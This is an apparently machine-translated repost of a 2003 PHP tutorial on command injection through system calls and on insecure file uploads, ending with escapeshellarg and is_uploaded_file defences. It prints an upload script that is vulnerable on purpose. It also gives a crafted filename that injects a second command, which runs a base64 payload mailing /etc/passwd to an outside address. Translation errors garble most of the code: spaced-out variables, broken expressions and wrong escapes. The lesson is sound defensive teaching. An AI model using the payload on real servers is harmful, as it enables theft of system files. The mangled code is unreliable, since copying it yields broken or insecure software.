PHP security (2) Original: John Coggeshall 08/28/2003 Original article: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.htmlWelcome back to PhP foundations. In my previous article, I introduced you to the practices that may compromise security in PHP and continued my series of articles on developing good PHP programming habits. This article will continue our discussion with more examples of potential security vulnerabilities and tools and methods for fixing them. Today I will start talking about a potential security vulnerability that is very serious in PHP development-programming underlying operating system calls. Execute system call in PHP There are many methods in PHP to execute system calls. For example, the system (), exec (), passthru (), popen (), and ') Operators allow you to execute system calls in your program. Improper use of the above functions opens the door for malicious users to execute system commands on your server. For example, in most cases, a security vulnerability occurs when a file is accessed due to unreliable external input. An example program called by the System Consider a program for processing HTTP file uploads. It uses a zip program to compress the file and then moves it to the specified directory (/usr/local/archives/by default /). The Code is as follows: <? PHP $ Zip = "/usr/bin/zip "; $ Store_path = "/usr/local/archives /"; If (isset ($ _ FILES ['file']) { $ Tmp_name = $ _ FILES ['file'] ['tmp _ name']; $ Cmp_name = dirname ($ _ FILES ['file'] ['tmp _ name']). "/Too many _files}'file'{'name'{}.zip "; $ Filename = basename ($ cmp_name ); If (file_exists ($ tmp_name )){ $ Systemcall = "$ zip $ cmp_name $ tmp_name "; $ Output = '$ systemcall '; If (file_exists ($ cmp_name )){ $ Savepath = $ store_path. $ filename; Rename ($ cmp_name, $ savepath ); } } } ?> <Form enctype = "multipart/form-Data" Action = "<? PHP echo $ _ server ['php _ Self ']; ?> "Method =" Post "> <Input type = "hidden" name = "max_file_size" value = "1048576"> File to compress: <input name = "file" type = "file"> <br/> <Input type = "Submit" value = "compress file"> </Form> Although this program looks quite easy to understand, malicious users can exploit it in some ways. The most serious security problem occurs when we execute the compression command (via the 'operator), which can be clearly seen in the following line: If (isset ($ _ FILES ['file']) { $ Tmp_name = $ _ FILES ['file'] ['tmp _ name']; $ Cmp_name = dirname ($ _ FILES ['file'] ['tmp _ name']). "/Too many _files}'file'{'name'{}.zip "; $ Filename = basename ($ cmp_name ); If (file_exists ($ tmp_name )){ $ Systemcall = "$ zip $ cmp_name $ tmp_name "; $ Output = '$ systemcall '; ... Cheat programs execute arbitrary shell commands Although this code looks safe, it may cause any user with File Upload permission to execute arbitrary shell commands! To be precise, this security vulnerability comes from assigning values to the $ cmp_name variable. Here, we want the compressed file to use the file name (with the. Zip extension) uploaded from the client ). We used $ _ FILES ['file'] ['name'] (which contains the file name when the file is uploaded to the client ). In this case, malicious users can upload a file containing special characters on the underlying operating system for their purposes. For example, what if a user creates an empty file in the following format? (Unix shell prompt) [User @ localhost] # Touch "; PHP-R'/$ code = base64_decode (// /"Bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxrjl3bhc3n3za == ///"); System (/$ Code );';" This command creates a file named below: ; PHP-R' $ code = base64_decode ( /"Bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxrjl3bhc3n3za = /"); System ($ Code );'; Looks strange? Let's take a look at this "File Name". We found that it is similar to using PHP in the CLI version to execute the following code command: <? PHP $ Code = base64_decode ( /"Bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxrjl3bhc3n3za = /"); System ($ Code ); ?> If you show the content of the $ code variable out of curiosity, you will find it contains the mail baduser@somewhere.com </etc/passwd. If you pass the file to the program and PHP executes the system call to compress the file, PHP will actually execute the following statement: /Usr/bin/zip/tmp/; PHP-R '$ Code = base64_decode ( /"Bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxrjl3bhc3n3za = /"); System({code=}'{.zip/tmp/phpy4iati Surprisingly, the above command is not a statement but three! Since Unix shell interprets semicolon (;) as the end of a shell command and the start of another command, except when the semicolon is in quotation marks, PHP's system () will actually execute the following: [User @ localhost] #/usr/bin/zip/tmp/ [User @ localhost] # PHP-R '$ Code = base64_decode ( /"Bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxrjl3bhc3n3za = /"); System ($ Code );' [User @ localhost] #. Zip/tmp/phpy4iati As you can see, this seemingly harmless PHP program suddenly becomes a backdoor for executing arbitrary shell commands and other PHP programs. Although this example only works on PHP systems with the CLI version in the path, other methods can be used to achieve the same effect. Defend against System Call attacks The key here is that the input from the user, regardless of the content, should not be believed! The problem is still how to avoid similar situations when using system calls (except for not using them at all. To defend against such attacks, PHP provides two functions: escapeshellarg () and escapeshellcmd (). The escapeshellarg () function is designed to remove potentially dangerous characters from user input (in our example, a zip command) that is used as a parameter for system commands. The syntax of this function is as follows: Escapeshellarg ($ string) $ String is the input used for filtering, and the returned value is the filtered character. During execution, this function will add single quotation marks on both sides of the character and escape the single quotation marks in the original string (Add/in front of it /). In our routine, if we add these lines before executing the system command: $ Cmp_name = escapeshellarg ($ cmp_name ); $ Tmp_name = escapeshellarg ($ tmp_name ); We can avoid this security risk by ensuring that the parameters passed to the system call have been processed and are user input with no other intentions. Escapeshellcmd () is similar to escapeshellarg (), but it only escapes characters that have special significance for the underlying operating system. Unlike escapeshellarg (), escapeshellcmd () does not process spaces in the content. For example, when escapeshellcmd () is used for escape $ String = "'hello, world! '; Evilcommand" Will be changed: /'Hello, World/'/; evilcommand If this string is used as a system-called parameter, it still cannot get the correct result, because shell will interpret it as two separate parameters:/'Hello and World /'/; evilcommand. If you enter the parameter list for system calls, escapeshellarg () is a better choice. Protect uploaded files Throughout the article, I have been focusing only on how system calls are hijacked by malicious users to produce undesirable results. However, another potential security risk is worth mentioning. Then we can see our routines and focus your attention on the following lines: $ Tmp_name = $ _ FILES ['file'] ['tmp _ name']; $ Cmp_name = dirname ($ _ FILES ['file'] ['tmp _ name']). "/Too many _files}'file'{'name'{}.zip "; $ Filename = basename ($ cmp_name ); If (file_exists ($ tmp_name )){ One potential security risk caused by the code lines in the above snippet is that the last line determines whether the uploaded file exists (with the temporary file name $ tmp_name ). This security risk does not come from PhP itself, but is that the file name saved in $ tmp_name is not actually a file, but a file that malicious users want to access, such as/etc/passwd. To prevent this, PHP provides the is_uploaded_file () function, which is the same as file_exists (), but also checks whether the file is actually uploaded from the client. In most cases, you need to move the uploaded files. php provides the move_uploaded_file () function to work with is_uploaded_file (). This function is used to move a file like rename (), but it will automatically check before execution to ensure that the object to be moved is an uploaded file. The syntax of move_uploaded_file () is as follows: Move_uploaded_file ($ filename, $ destination ); During execution, the function moves the $ filename file to the destination $ destination and returns a Boolean value to indicate whether the operation is successful. Note: John Coggeshall is a PHP consultant and author. He has been sleeping for PHP for about five years. |